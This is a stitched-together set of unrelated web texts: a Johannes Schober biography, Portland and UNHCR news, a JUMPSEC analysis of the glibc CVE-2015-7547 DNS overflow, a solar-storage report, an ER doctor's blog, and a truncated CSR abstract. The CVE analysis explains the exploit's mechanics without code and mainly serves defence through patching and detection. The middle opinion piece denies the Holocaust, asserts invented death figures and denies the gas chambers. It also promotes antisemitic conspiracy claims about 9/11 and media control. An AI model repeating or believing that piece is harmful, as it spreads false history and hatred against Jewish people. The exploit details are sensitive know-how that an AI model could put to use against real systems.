again, this time leading the ministries of education and of finance. Any hope of economic recovery was instantly squashed by the Wall Street Crash of 1929, striking a mere four weeks after Schober's inauguration. The Great Depression hit Austria even harder than most other countries. Austria still depended on regular foreign cash infusions, but credit quickly dried up as a result of the downturn. The government was successful in other respects, however. Most importantly, Schober neutralized the threat of Heimwehr revolt. On the one hand, he signalled willingness to meet Heimwehr demands for constitutional reform halfway, continuing negotiations where the Streeruwitz government had left off. On the other hand, he pointedly refused to include Heimwehr men in his cabinet and insisted that the new constitution be implemented legally, i.e. pursuant to the amendment rules laid down in the existing constitution. The new constitution would need the support of two thirds of the members of the National Council, meaning that it could not be passed without the assent of the Social Democrats. Schober invited Social Democratic representatives to join the talks and refused to be intimidated by the rallies the Heimwehr kept staging as a show of force. Eventually, a compromise was reached; the Council passed a set of amendments to the Federal Constitutional Law on December 7, 1929. The compromise significantly strengthened the power and prestige of the office of the president. It also altered appointment procedures to the Constitutional Court in a way that the Heimwehr thought would guarantee right-of-center majorities for the foreseeable future. The compromise was a disappointment for the Heimwehr and its foreign allies, and a victory for the Social Democrats, in all other respects. Schober was also successful on the foreign policy front. In particular, Schober convinced the Allies of World War I, on a conference in The Hague in January 1930, to forgive the reparations that Austria still owed. Observers noted that Schober achieved his diplomatic victories through a strategy of comporting himself as an affable simpleton. Short, pudgy, intellectually outmatched, eager to oblige, happy to be patronized, and head of a country that was no threat to anyone any more, Schober seems to have put his negotiating partners into a generous mood. According to one contemporary Austrian cartoon, Schober received so many friendly pats on the shoulder from foreign dignitaries that he took to traveling with a cushion strapped to his back. Dissatisfied by the new constitution and in financial straits due to a crisis in the Austrian banking sector that had toppled one of its main donors, the Heimwehr decided that the way forward was to increase the pressure again. A Heimwehr rally in Korneuburg on May 18 culminated in de facto declaration of war on the Republic, a firm promise of armed insurrection. One of the leaders of the radical element in the Heimwehr at the time was Waldemar Pabst, a German national. Schober had Pabst deported. The Heimwehr was now determined to get rid of Schober. The Christian Socials agreed to help. The party was jealous of Schober's successes; the relationship was strained additionally by personal tensions between Schober and Seipel and between Schober and his Vice Chancellor, Carl Vaugoin. Vaugoin, a friend of the Heimwehr to begin with, provoked a quarrel with Schober by demanding that Franz Strafella be appointed director general of the Austrian Railways; Strafella was both a noted Heimwehr man and known to be corrupt. When Schober refused, Vaugoin ostentatiously resigned on September 25. Realizing that his cabinet was unable to carry on, Schober submitted his own resignation the same day. Schober Bloc [ edit ] Schober in Berlin, 1931 On the one hand, the 1929 constitutional reform meant that chancellor and cabinet would no longer be elected by the National Council but appointed by the president. On the other hand, the cabinet still depended on majority support in the National Council to be able to govern effectively. On the third hand, the reform also vested the president with the power to dissolve the National Council, forcing new elections. President Wilhelm Miklas, a Christian Social himself, appointed a cabinet consisting exclusively of Christian Social politicians and Heimwehr chiefs. He installed Vaugoin as Schober's successor and Seipel as his minister of foreign affairs. Ernst Rüdiger Starhemberg, a Heimwehr leader, became Minister of the Interior. Franz Hueber, another Heimwehr leader and brother in law of Hermann Göring, became minister of justice. Lacking support from either of the Christian Socials' traditional coalition partners – the nationalist Greater German People's Party and the agrarian Landbund – the Vaugoin government was stillborn. Miklas dismissed the legislature and called a snap election for November 9. The Heimwehr, made confident by its easy victory over Schober and intrigued by the successes of the Nazi Party in Germany, now decided to break with the Christian Socials and stand for election as a separate party, the Homeland Bloc (Heimatblock). Instantly, fears of a possible Heimwehr putsch resurged; the country felt that civil war was in the air. People's Party and Landbund united against their common enemy and convinced Schober to serve as the leader of their alliance, which they proceeded to name the Schober Bloc (Schober-Block). The Austrian legislative elections of November 9, 1930 resolved, once again, nothing. Except for the fact that the Heimwehr won a meager eight seats, taking seven of them from the Christian Socials, the composition of the National Council remained virtually unchanged. Thanks to the Heimwehr splitting the Christian Social vote, the Social Democrats were the plurality party again. With no actual majority and no potential coalition partners, the victory was hollow, however. The Vaugoin government, still without majority support, resigned on November 29. Otto Ender, the Christian Social governor of Vorarlberg, swiftly repaired the coalition of Christian Socials, People's Party, and Landbund and was sworn in as the new chancellor on December 4. The Ender government included both Schober, this time as the vice chancellor and acting minister of foreign affairs, and Vaugoin, who resumed his position as minister of the army. The main item on the Ender government's agenda was Austria's economic situation, still deteriorating and utterly desperate by now. In a country of 6.5 million, the number of unemployment working-age adults was approaching 600,000. Only about half of them were receiving unemployment benefits. Heavy industry was shutting down; in industrial cities such as Steyr and Leoben, more than half the population had no remaining income whatsoever. Children went hungry and often literally barefoot. When Julius Curtius, foreign minister of the German Reich, visited Vienna on March 3, 1931, Schober and Curtius negotiated a customs union between the two neighbors. The idea had already been floated in 1917 and then in 1927, and it still made eminent sense for both sides. Austria's manufacturing sector would gain better access to the German market. Germany would gain access to Southeast Europe and would economically encircle both Czechoslovakia and Poland; in the long term, Czechoslovakia and Poland might choose to realign themselves away from France, their preferred partner in 1931, and towards the great power they actually bordered. Both Schober and Curtius knew that the Allies would not permit the union. France in particular would be vehemently opposed; the French were worried that German economic recovery would lead to renewed German military dominance. France, however, was known to be hatching its own plans for European economic unification, to be negotiated under the auspices of the League of Nations. Schober and Curtius hoped they would be able to convince Paris to permit their customs union in the context of these negotiations. They resolved to keep their agreement secret for the time being. When the agreement was leaked, France, as predicted, immediately vetoed it. Germany and Austria considered implementing the customs union anyway, but the sudden implosion of the Creditanstalt in May laid these plans to rest. The Creditanstalt was Austria's largest bank and controlled two thirds of its remaining industry. To prevent the total collapse of its economy, Austria now needed an immediate cash infusion in an amount that the struggling Reich was unable to muster. France agreed to help, on the condition that the customs union be abandoned and that Austria agree to have its finances audited by the League of Nations; Austria would also have to promise to implement whatever restructuring measures the League would subsequently recommend. Ender could not stomach these conditions. He resigned on June 20, handing the reins to Karl Buresch, who could. Schober stayed on, serving in the first Buresch government both as the vice chancellor and as the acting minister of foreign affairs. The enmity of the French he had earned for himself, however, meant that his ability to function as a foreign minister was severely limited now. When his continued presence in the cabinet endangered the issuance of a strategic foreign currency bond, the Buresch government resorted to a sham resignation to remove Schober from office. Death [ edit ] Schober died on August 19, 1932. His death was not unexpected. Schober had been suffering from heart disease; his condition had noticeably worsened during his final months. It has been speculated that his end may have been hastened by disappointment and bitterness; Schober believed he had been treated shabbily by his political allies. Schober's death came a mere three weeks after the death of Ignaz Seipel, who had also been struggling with long illness. The coincidence was widely noted. The two former enemies had reconciled during their final days, conveying best wishes to each other "from sickbed to sickbed." Honors [ edit ] 1930: Honorary doctorate of technical sciences of the Graz University of Technology 1930: Honorary doctorate of law of the University of Vienna 1930: Honorary doctorate of political science of the University of Graz Citations [ edit ] References [ edit ] English German Further reading [ edit ] -Update: Portland Mayor Charlie Hales and Commissioner Steve Novick will be taking questions today at 2 p.m. Tell us what you want to know, and see what each is saying about the decision to delay. Portland Commissioner Steve Novick made it official Tuesday morning: a vote on the city's controversial street fee is getting delayed until November. Novick's confirmation came a day after The Oregonian reported that Novick and Mayor Charlie Hales were considering calling off Wednesday's scheduled City Council vote. Officials heard more than 5 ½ hours of testimony about the street fee, much of it negative, during a public hearing last week. Novick and Hales had already decided to delay a vote on the business side of street fees because of pushback. Now, Novick said Tuesday on the "Thank You Democracy with Jefferson Smith" radio show, he and Hales are postponing the street fee vote indefinitely. "As of this morning, we're also going to delay the residential," he said. The street fee, as originally constructed, was expected to raise up to $50 million a year. Most homeowners were expected to pay $11.56 a month and businesses would have paid based on the type of business, square footage and projected vehicle trips. Hales and Novick have not responded to requests for comment since Tuesday. At 10:45 a.m. Wednesday, Hales' office released the following statement: *** The proposal by Mayor Charlie Hales and Commissioner Steve Novick to launch a street fee in 2015 remains on schedule. However, the council vote on how to structure the fee will be pushed back until November. "We have not taken care of our largest asset: our streets. We have to change that," Mayor Hales said. "We've been talking about this for 13 years, and we held several town halls this winter and spring to hear from people. Despite that, many constituents still haven't been heard yet. We get that. Postponing the Council vote will give people time to weigh in on whether this is the best solution to this dire need, and to consider changes to make it work better." "The last street free proposal in 2008 was derailed by a lobbyist filing a referendum petition," said Commissioner Novick. "This one has been temporarily delayed due to concerns voiced by small business owners and low-income people and advocates. We are in a hurry to get to work, but if we're going to be delayed, it's for the right reasons." The City Council on Wednesday will still vote on referring a charter change that would lock in the use of any street fee for transportation purposes. "Voters need to be assured that we will spend this money the way we say we will," Hales said. "A charter change will ensure that we stay true to that commitment, administration after administration." However, the council vote on both the residential fee, and the non-residential fee, will be pushed back to November. Further public forums will be scheduled to hear from residents and the business community. And two work groups will be formed. Their charges: * To analyze city policy regarding low-income residents and fees. The work group will look at the street fee as well as fees for other city utilities, including water and sewer, to see how well low-income residents are being served and how widely discounts can be applied. * To further engage with small business, nonprofit and government partners on design and implementation of the fee. "Think of this as a track race," Hales said. "We haven't moved the finish line, which is July 2015. But we're moving the starting blocks. We heard from the community: We are taking our time to hear a more robust debate on the details of this fee. But we have not wavered in our resolve. It is our intention to finally address our deteriorating streets." * Reading: The Oregonian: Boon or bust? What happens when McDonald's considers building -- in east Portland The Oregonian: In heart of east Portland neighborhood in need of jobs, is McDonald's the answer? Portland Tribune: City pins plans for water fix on panel -- Brad Schmidt -Hello w0rld! JUMPSEC researchers have spent some time on the glibc DNS vulnerability indexed as CVE 2015-7547 (It hasn’t got a cool name like GHOST unfortunately…). It appears to be a highly critical vulnerability and covers a large number of systems. It allows remote code execution by a stack-based overflow in the client side DNS resolver. In this post we would like to present our analysis. Google POC overview Google POC Network Exploitation Timeline Google POC Exploit Code Analysis First response The dw() function calls a “struct” module from python library. According to the documentation, it performs conversion between python values and C structs represented as python strings. In this case, it interprets python integer and pack it into little-endian short type binary data. This is a valid response sent by the “malicious” DNS server when it receives any initial queries. This response packet is constructed intentionally in large size (with 2500 bytes of null), it forces the client to retry over TCP and allocate additional memory buffer for the next response. This also triggers the dual DNS query from getaddrinfo() on the client side, which is a single request containing A and AAAA queries concatnated. Second Response This is the second response sent by the malicious DNS server. It is a malformed packet sending large numbers of “fake records” (184 Answer RRs) back to the client. According to google, this forces __libc_res_nsend to retry the query. Third response This is the third response sent by the “malicious” DNS server. It is another malformed packet which is carrying the payload. JUMPSEC researcher has modified the Google POC code to identify the the number of bytes to cause a segmentation fault (possibly overwriting the RET address) of the buffer. It is found that the RET address is being overwritten on the 2079th byte. With the addition of return_to_libc technique, an attacker can bypass OS protection such as NX bit or ASLR and perform remote code execution. Google POC debugging and crash analysis JUMPSEC has run it through the trusty gdb. It crashes with a SEGMENTATION FAULT which verifies that the DNS response has smashed the stack of the vulnerable client application when running getaddrinfo(). The vulnerable buffer is operated in gaih_getanswer. The entry address has been overwritten with 0x4443424144434241 (ABCDABCD). The state of the register also showing the overflowed bytes. JUMPSEC has also tested it on a few other applications. It was found that the getaddrinfo() function in glibc is commonly used… Conclusion The best way to mitigate this issue is to enforce proper patching management. Make sure to update all your systems with the latest version of glibc . If you have any systems exposed on the internet and you want to make sure that this vulnerability is not triggered then the following Wireshark filter could be useful: (DNS.length>2048 to see malformed packets). A DNS response has a maximum of 512 bytes (typically), note that the DNS reply is truncated. Even if the client does not accept large response, smaller responses can be combine into a large one which can also trigger the vulnerability. A possible filter is to monitor the size of the entire conversation as a distinct amount of bytes in total is require to trigger specific responses from vulnerable client and all of them requires more than 2048 bytes. The above vulnerability can be fixed by patching. If you are running RedHat or CentOS a simple yum -y update glibc will update the libc and resolve the issue (remember to restart the service right after the update!). Reference links https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7547 http://pubs.opengroup.org/onlinepubs/9699919799/functions/freeaddrinfo.html https://googleonlinesecurity.blogspot.co.uk/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html https://sourceware.org/ml/libc-alpha/2016-02/msg00416.html -By Michael Aydinian Whatsupic -- This is madness - freedom of speech should be sacrosanct. It is a god-given right to think or say what we want. Is it not the case if one chooses to spout drivel one merely succeeds in making oneself look decidedly foolish? However, what makes this move to criminalize anti-Semitism at the UN so utterly reprehensible are two things - firstly, Zionists aren't Semitic! They originated from Khazar which is now a region known as Georgia. Zionists do not possess a drop of Semitic blood! Rather like the way they've stolen Palestine, they've usurped Judaism too. The mother of all ironies as Rabbi Weiss once said "the greatest cause of anti-Semites is Zionism!" Secondly, Zionists are without a shadow of doubt the most racist, wicked, deluded people on the planet and if the truth were ever told, (and this is what all this nonsense at the UN is all about) the world would soon realize - much of the grief today is of their making! French philosopher and writer Bernard-Henri Levy addresses the United Nations General Assembly, Thursday, Jan. 22, 2015. (Photo: Richard Drew/AP) But before I elaborate on this, Canada, France and Austria passed laws making it a criminal offense to question the Holocaust. Over 200 years ago the great French poet Voltaire declared - TO LEARN WHO RULES OVER YOU SIMPLY FIND OUT WHO YOU ARE NOT ALLOWED TO CRITICIZE! I often wonder if Voltaire imagined people would actually be jailed for questioning a historical event? I mean a fine is bad enough but to lose one's freedom over an opinion? This is insult to injury ...... but wait! We've yet to add salt into this gaping wound! Astonishingly, the official Holocaust figures have been revised down to under 2 million dead. This effectively proves those who questioned the Holocaust HAD EVERY RIGHT TO! So surely, those who suffered horrendous miscarriages of justice would at least receive compensation? Not a murmur! Not even an apology! Worse still, I'd like to bet 19 out of 20 people still believe 6 million Jews died in the Holocaust! It matters not that the official figure has been revised. This is the beauty of owning the media - YOU MAKE THE NEWS! Not one Zionist has been made to answer for this outrageous lie even though they've been well and truly found out. They know if they impose a blanket boycott on a news item, even one that in normal circumstances would qualify as a fully-fledged front page headline, it's almost as if it never happened. And the Chutzpah that's derived from this ungodly power to pull the wool over everyone's eyes - it's business as usual - full steam ahead! The Zionists won't stop. Sure enough, now they have the gall to coerce the UN into initiating a universal ban on anti-Semitism! This is beyond the pale. Freedom of speech is a fundamental right. Our right! Laws justifiably are designed to punish wrong-doing ie human actions. Anyone responsible for ushering in a law that curtails thought or speech IS A CRIMINAL - PERIOD! What kind of Mickey Mouse mass-media is this? The Zionist run Corporate media bombards the public with their fabricated version of events, even vehemently trumpeting total falsehoods but when the truth doesn't suit them, they clam up tighter than a camel's arse in a sandstorm? What is this? The Zionists haven't simply told a lie - they've maintained it for 70 years, never allowing so much as a slither of an opportunity for memory loss. They've used the Holocaust as an excuse to justify their wanton disregard for international law. This, to all intents and purposes, has given them carte blanche. Small wonder they openly display belligerence and cruelty on a scale that's unparalleled. Now we hear it wasn't 6 million. Okay if it was 5 then it's not such a big deal...... but when the official figure's adjusted to under 2 million....... especially when one considers how many Poles, Czechs and others died in the camps? We were deliberately lied to because the Zionists, above all, needed worldwide sympathy. The plan all along was to create their own country. Easier said than done, strolling into someone's territory saying 'get on your bike pal. This is ours now!' How would you like half of your country donated away without so much as a by-your-leave? The Holocaust clinched it. You can believe what you want but please, allow me to do the same. The Zionists never stop bringing up the Holocaust, so is it not my right to question why no one ever mentions the Armenian massacres or the more recent genocide in Rwanda? So let's for now ignore what we've been led to believe regarding the holocaust. Let's think logically. The concentration camps were in the East, on the Russian side. Those in charge of the camps knew waiting for the Russians simply wasn't an option. With 20 million of their own dead, the Russians weren't taking prisoners. In any case, sooner or later, supply lines would be cut. Food and water would not get through, so well before the Russians reached the camps, the Germans upped and left. Of course camp internees could have left too - many most probably did but where would they go? They were effectively in a war zone without food and water. Those who stayed in the camps at least had shelter and the genuine hope that help would soon arrive. So far, have I said anything unreasonable? However, even though defeat was a formality, a raving lunatic was in charge. Hitler inexplicably insisted every German should fight to the death. Anyone with half a brain would have long since brought out the white flag! Just to give you an idea, imagine Hitler surrendering at the end of 1944. How many lives do you think would have been saved? You see the truth of what occurred in 1945 in terms of casualties has never been told. Here's something for you to digest - MORE PEOPLE DIED IN 1945 THAN IN THE ENTIRE WAR PRIOR! ........ Takes some believing ....... yet it's true. The vast majority of deaths in the camps occurred in the final months of the war when the Germans were well and truly in retreat. Then there was the carpet bombing of Germany and Japan which killed millions of civilians. There was the street to street fighting which inevitably incurred horrific losses - the Russians lost 100,000 men merely taking Berlin! Those left in the camps had little chance of knowing exactly what was going on. Certainly they were aware Germany's defeat was imminent but as each day went by, without food and water, what could these poor people do? What options were available to them? Most were already so malnourished and weak, all they could do was wait for relief. They couldn't go out and get it! As each day passed, slowly but surely, the camps inhabitants succumbed to dehydration and starvation. As each week passed, more died; the bodies piled up. Those alive literally had no strength to bury the dead. This served to exacerbate the dilemma for it led to the outbreak of disease which in turn caused the death count to rise exponentially. Have I said anything unreasonable here? Okay. Now let's see if my synopsis fits well with the photographic evidence and TV footage. What did we see - piles of dead emaciated bodies left unburied. They weren't gassed or shot. They died either from starvation or disease. Survivors were down to the bone. Disease was rife. In other words, what I've said from my own thoughts in the last few paragraphs fits like a key in a well-worn lock. What didn't we see - there were no massive burial grounds. Now how could this be? Consider how our laws require a corpse before one can be charged with murder. This is not just a serious anomaly - it is the most critical detail, one that cannot under any circumstances be brushed aside! If 6 million died there simply has to be evidence of mass graves strewn all over the place. To this day no such evidence has been uncovered. Moreover, none of the survivors ever told the Russian liberators they were systematically being gassed to death. There was a good reason - the Russians would have immediately said 'where are the gas chambers then?' There were no gas chambers. However, some may have mentioned Allied or Russian bombing put paid to quite a few of them! To say something is terribly amiss is a chronic understatement. Historical events should always be open to question not just because the winners write the history books but because everything should be open to question! It is our right, most especially when there's little or no evidence to corroborate the story we're being told. Yet hold the phone - now they want to make it illegal to criticize Israel. You see that would be anti-Semitic....... but wait - Zionists aren't Semitic..... the Palestinians are though; so are the Iraqis! This whole sordid affair has long since past the farcical stage. Zionists don't want people to question the Holocaust for 2 main reasons - firstly, for 70 years it's acted as a tool to draw sympathy and so justify the creation of Israel as well as ward off criticism they so rightfully deserve. Secondly and most importantly, if their account of the Holocaust was above reproach, would they give two hoots if someone chose to investigate? Think about this because this is the big giveaway. They throw a fit each and every time and it's obvious why. Serious researchers can only discover one thing - the truth. The reason they don't want anybody questioning the Holocaust is because they know - any meaningful investigation will rapidly arrive at one conclusion - the Holocaust was a massive Zionist con trick! We are fast-approaching a point where we could well find ourselves living in a world where criticizing the greatest criminals on the planet, indeed the greatest gangsters ever, is a criminal offense! I know it sounds crazy but diabolical as it may seem, this is what the Zionists want more than anything. Why? Because the Internet threw an almighty spanner in the works. Suddenly, their control over the flow of information, painstakingly acquired over 150 years, hadn't just been breached; it had been ruptured! The internet was a phenomenon. Type in a few words and hey presto - all the information you need is there. Not that initiated folk weren't aware of corporate media lies. The Internet though allowed us to discover what we weren't being told. As a result, the past 10 years has seen mainstream news channels all over the world haemorrhage viewers. No one watches CNN anymore. If it was down to money, they'd have shut up shop years ago. Trouble is they can't do that. It would be the mother of all show outs! Their only option was to soldier on, smile as if everything's sweet, never give any inkling their news channels are ironing out absolute lumps. All they could do was tell even bigger lies. They had to, because now we're on the clock. Naturally, the power-brokers would love to pull the plug on the Internet. They dabbled with the notion, bizarrely trying to sell it saying it was for our security. Talk about desperation. They quickly realized any move on the Internet would be universally despised. I'm convinced they'll kill it only when they're ready to declare Martial law. However, this is no good for Netanyahu. He knows only idiots believe what the Israelis say. There's only so many lies you can tell. Why do you think the media never reveal the results of independent polls which state categorically Netanyahu is a raving lunatic and Israel is by far and away the greatest danger to world peace? This is why all these false flag events, one after the other, are occurring. They have to raise the fear factor so that people believe there's a genuine terrorist threat. Though I've zero interest in Religion or Nationalism, the demonization of Muslims has reached a point where I feel ashamed. I'm a member of this species and to see it sink so low? Of course, it's nigh on impossible gauging the level of disgust because the media only promote what suits the Zionists. That's why all we ever hear is anti-Islamic protests, trying to create the notion everyone's against them. Like a stuck disc I've said, the news is what we're not told! So lo and behold - those who are responsible for all the False Flag events; those behind the JFK assassination, the attack on the USS Liberty in 1967 where 34 US sailors were killed in a botched attempt by the Israelis to pin the blame on Egypt and above all, the very people who planned and executed 9/11 - are now trying to make it illegal for anyone to criticize them! You'd think it couldn't get much worse than this! Wrong! Zionists are of the Ashkenazi tribe. They are not Jews. They were originally from Georgia, Russia. By the time of the Bolshevik Revolution in 1917, they'd assumed control of virtually every significant position. What followed was murder and mutilation on a scale that truly beggars belief. I read Alexander Solzhenitsyn book 'Two Hundred Years Together.' After all, this dissident won the 1970 Nobel Prize for Literature. His credibility could not be questioned yet this book was a blow by blow account of how 66 million Russians were butchered by the Ashkenazi. So I had to read it and my oh my - some of the methods of torture were so revolting at times it was positively stomach churning. Families would be forced to watch their children being mutilated one by one. It still gives me nightmares. To take someone's life for no reason is deplorable but I cannot for the life of me comprehend how any human could wish to inflict such unimaginable fear, pain and horror upon anyone. I don't care what upbringing one may have had - this is sick. Needleless to say, Solzhenitsyn book was banned in the West. I'll hold my hands up and say if it wasn't for the Internet, I would have remained ignorant, not just of the cold-blooded slaughter of 66 million Russians but the vast majority of what I've outlined here. The harsh reality though is the vast majority of Israelis, 80-90% are Ashkenazi. Is it therefore any surprise they display such hatred towards the Palestinians? What worries me more than anything is this - every single Israeli Prime Minister is of Ashkenazi origin. The good news is they control the US, UK, France, Canada, Germany, Australia; they control the banking system and Wall Street; they have the entire corporate media in their pocket! The bad news is - they're never going to stop! They want it all! I'm undecided on whether we deserve what's coming for being so complacent. The price paid in terms of pain and suffering is already incalculable..... yet what I'm in no doubt of - at best we're going to pay a far, far bigger price; at worst mankind may pay the ultimate price! -The sun’s energy is difficult to get a hold of – and even more difficult to hold on to. Now chemists have developed molecules with the capacity to create and store substantial amounts of solar energy that may also be released on demand. This is after research by Anders Bo Skov, a master’s student collaborating with the University of Copenhagen’s (UCPH) Center for Exploitation of Solar Energy. Until recently, storage of solar energy has proven fickle and troublesome: the stubborn molecules would offer only slight enhancements in storage capacity, without increasing the length of storage time as desired. However, now they have been able to shed light on the molecular mystery that had remained experimentally elusive, according to Anders Bo Skov: “The problem has always been that the energy couldn’t be stored for a long enough time, and not enough could be stored for it to be viable. My system can store energy for years without losing a significant amount of energy. There was a parent system, which had the properties of 100kJ/kg and the energy could be stored for a few days. My new system is better because the energy can be stored at 250kJ/kg for 114 years,” he says to the University Post. Need key to release energy The entire research team, run by Professor Mogens Brøndsted Nielsen, works with the so-called Dihydroazulene-Vinylheptafulvene (DHA/VHF) molecular system, which effectively stores energy by changing shape. The system works by undergoing photoconversion between the yellow molecule DHA and the red VHF. This recent success has boosted the group’s efforts to increase the energy of this system. Anders Bo Skov is doing his master’s at the University of Copenhagen Despite having found a way to enhance the storage time, Skov says they still have their sights set on improvement: “We need the key to release the energy. So far we can only store it for 114 years. We want to make energy stored in VHF much less stable than DHA, so that VHF will release the energy. I’m working on different ways to make DHA more stable. We have the goal to double the amount to 500kJ/kg.” Breaks down into ‘chamomile flower’ component The breakthrough also has the potential for lessening the hazardous impact of technology and creating greater environmental efficiency. Lithium batteries, which are composed of harmful acids, bases, and poisonous metals, are a commonplace in electronics today, especially mobile phones. The positive potential of Skov’s system is that it offers a way to gather and store solar energy without carbon dioxide and other toxic byproducts. In this way, there is an opportunity to develop this system into something applicable to energy consumers, offering sustainable solar energy. “So, we want to use it for solar heat batteries. All batteries today are toxic to the environment while this system is powered only by sunlight and is completely non-toxic to the environment. When it breaks down, [my molecule] turns into a component similar to that found in chamomile flowers,” Skov says. universitypost@adm.ku.dk Do you have a good story? We would like to hear from you. In the meantime, like us on Facebook for features, guides and tips on upcoming events and follow us on Twitter for links to other Copenhagen academia news stories. -This year is on track to be the deadliest on record for refugees in the Mediterranean, according to the United Nations High Commissioner for Refugees (UNHCR). In a press briefing on Wednesday, spokesperson William Spindler said that with two months still remaining in the year, at least 3,740 people were reported dead in the Mediterranean, almost as many as the 3,771 killed in all of 2015. “This is the worst we have seen,” he said. The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now This uptick is in spite of the fact that far fewer people are attempting the crossing—327,800 so far this year, compared with 1,015,078 last year. The higher fatality rate may be due to a range of causes, from smugglers taking more dangerous routes to using flimsier vessels. Bad weather has also played a role in some deaths. UNHCR is urging countries to make safer pathways available and consider “enhanced resettlement and humanitarian admissions, family reunification, private sponsorship, and humanitarian, student and work visas for refugees.” [UNHCR] Contact us at editors@time.com. -How an ER doc became a primary care doc, and developed a talk for new parents. The Attentive Child Recently I had a mother come in, 8 month old boy in tow, on social assistance. Child had a minor complaint, something that really didn’t need to see the doctor. You know the type. No, you don’t. After checking them in, the clerk came into the office and remarked how alert and intelligent the child was, that he observed her quietly the whole time she was working. She then laughed that when she mugged at him he mimicked her back, making faces the mother had never seen before. The Read-To Child I can identify a child who has been read to at 6 months of age, even younger. They are more confident, less fearful, more observant, more in control of themselves, and more curious. I have seen children under a year old, who cried from fear as I examined them, but who nevertheless held themselves still, and even cooperated with my exam, while they continue to cry. This was clearly one of the children who had been read to. Before I examine a child, I usually try to interact with him/her a bit and chat with the parents, and give the child time to get used to me. As I often do, I asked the mother my standard question, “Are you reading to him?” She surprised me by saying, “I read to all five of my children.” I said, “That’s great. How did you decide to do that?” She gave me a puzzled look, and then said, “You told me to.” She then related to me how all of her children had developed an interest in books, and that her oldest, the 9 year old, was reading all the time. I don’t often get emotional in the ER, but I choked up a little bit when she told me that. Medical Woes I don’t much enjoy medicine. I’m a scholar and a writer at heart, but that won’t pay the bills, not yet. And medicine just pays too much money, even in quiet, out of the way places. So I work those quiet jobs, and write and read in between patients. One of the things that aggravated me for years is that overwhelmingly, emergency room patients aren’t emergencies. Most of the patients I see don’t need a doctor, their problems will go away without medical attention. For a long time, I resented the apparent abuse of the system, but I gradually came to realize that without those people, there wouldn’t be enough patients to justify an emergency room. This is true even of the largest ER’s. There just aren’t enough true emergencies to keep most ERs open. With that, primary care docs book their days full, there’s not much room to fit in another patient that day, or any time soon. And understandably, doctors aren’t willing to work until all hours of the night to see everyone as we did in the old days. Like everyone else, we want to be home with out families. So their overflow comes to us. Finally, the ER is the only place many of the poor can get healthcare, particularly the working poor, who often do not have insurance. The Emergency Room as Primary Care As I saw these patients over the last three decades, some of them repeatedly, I began to recognize that I am the primary care physician for a lot of them. Since I work quieter ERs, I realized that I often have a few minutes for counseling about their disease, or even about their lifestyle choices, particularly those that affect health. Which is a pretty scattershot blunderbuss. Everything in our lives affects our health. Life-Long Health As I have suggested elsewhere, if our brains function reasonably well, we can deal with a lot of disease and adversity. And as those of you who visit here regularly know, I am a big proponent of reading. I strongly believe that if we engage kids with reading as early as possible, it has an enormous, positive impact later on. So I started urging parents, particularly new parents, to read to their children. More than one parent has come back to me, told me they had started reading to their kids, and were amazed at the change in their children, how sharp they were, and how well they were doing in school. Some of these people could barely read themselves, but their kids were tearing it up. So much of medicine is obvious. Or rather, it’s obvious if you’ve studied it; if you haven’t, it’s not obvious at all. Likewise, so much of education and raising children is obvious; if, of course, you had supportive parents, and you’ve read a lot and thought a lot, and if you’ve just watched people go through their lives. That’s why I think I got choked up. It didn’t take me 60 seconds to talk to that mother about reading; but for the few seconds I gave her, her life, and her 5 children’s lives, were dramatically changed for the better. We think of medicine as saving people’s lives. In this case, maybe I saved several people’s lives; but unlike a more conventional view of medicine, I did not simply restore them to what they were before. Maybe I helped to make them much better, maybe I gave them a life that was larger, and fuller, and happier. New Parents Anyway, after I started giving parents my suggestions about reading, with time I began developing a whole little talk for new parents. Follows is the full version, with three basic points. I almost never give new parents the full talk, I usually just give some abbreviated form. I once had a grandmother complain to the administration about this, even though I was speaking to her daughter, the mother; and the daughter certainly listened attentively to what I said. But it’s worth an occasional complaint. Where else do we have the opportunity to create so much progress, with so little time and effort? 1) Screen Time vs Reading Time Research over the past few years has prompted the American College of Family Physicians and the American College of Pediatricians to recommend that we limit screen time in our children — TV, computer, cell phone, electronic games — to no more than 2 hours a day. But the less the better. Imagination is critical in the modern world, the abilitiy to ‘see’ something you’ve heard or read. A child won’t develop her imagination if she’s constantly watching a machine that does all of her imagining for her. Instead of screen time, read to your children, and start as soon as you can sit them on your lap. Read to them every day, as often as you can. When they get to 3 or 4 years old, begin playing card and board games with them. This helps develop math skills and analytical reasoning. If you do these two things, your children will amaze you when they go to school, and throughout their lives. 2) Losing a Child Every good parent’s greatest fear is that we will lose a child. But as a new parent, you should know you will lose your child every night; the child who wakes up in the morning is not the child you put to bed the night before. And you will never – ever – see that other child again. And the day will come that it will be the last time that your child runs to see you at the door, the last time that you hold her/him in your arms, or the last time that you read to him/her. And you won’t even know it’s the last time. So treat them all as if they were the last time. And as if it were the first time. Continued below… Subscribe to Bookscrounger.com and receive a free copy. Subscribe toand receive a If you're so smart, why aren't you happy? An exploration of life, biology, art, and Zen. Happiness: A Physician-Biologist Looks at Life Click here to read the first few chapters. Enter your information below to sign up. Once your subscription is entered, you will automatically receive a .pdf of the book by eMail. Leave this field empty if you're human: 3) Patience & Faith I knew a man who would get whipped when he didn’t play well in pee-wee baseball. No good parent would do that, it would only destroy the child’s interest in baseball, and his self-confidence in playing it. So why do we put so much more importance on learning to handle a pop-up fly, than we do on learning to handle frustration, disappointment, and self-control? I’m 60 years old, I still struggle with those things. Robert Fulghum said, “Don’t worry that your children never listen to you. Worry that they’re always watching you.” We can never teach true self-control to our children, by losing our own self-control. Your children love you, they need you, and they will work hard for your approval. When they are misbehaving, you’ll often find out later they were tired, or hungry, or worried; and ‘worried’ is the hard part, because often they won’t tell you when they’re worried, or what they’re worried about. They’re not always aware of what they’re worried or afraid of themselves. But to discipline a child is who suffering is not what any of us want to do. Children figure out most of what they need to do, and how they need to behave, if we just give them some time, and have a little faith. Give them lots of praise and patience, and discipline them as little as you think you can get away with. So that’s my talk for new parents. Maybe some of you can use it or share it, or change it and make it better. I hope so. Peace. Photograph courtesy of Eugene Kim. Like this: Like Loading... -Although managers and researchers have invested considerable effort into understanding corporate social responsibility (CSR), less is known about corporate social irresponsibility (CSiR). Drawing on strategic leadership and moral licensing research, we address this gap by considering the relationship between CSR and CSiR. We predict that prior CSR is positively associated with subsequent CSiR because the moral credits achieved through CSR enable leaders to engage in less ethical stakeholder treatment. Further, we hypothesize that leaders’ moral identity symbolization, or the degree to which being moral is expressed outwardly to the public through actions and behavior, will moderate the CSR–CSiR relationship, such that 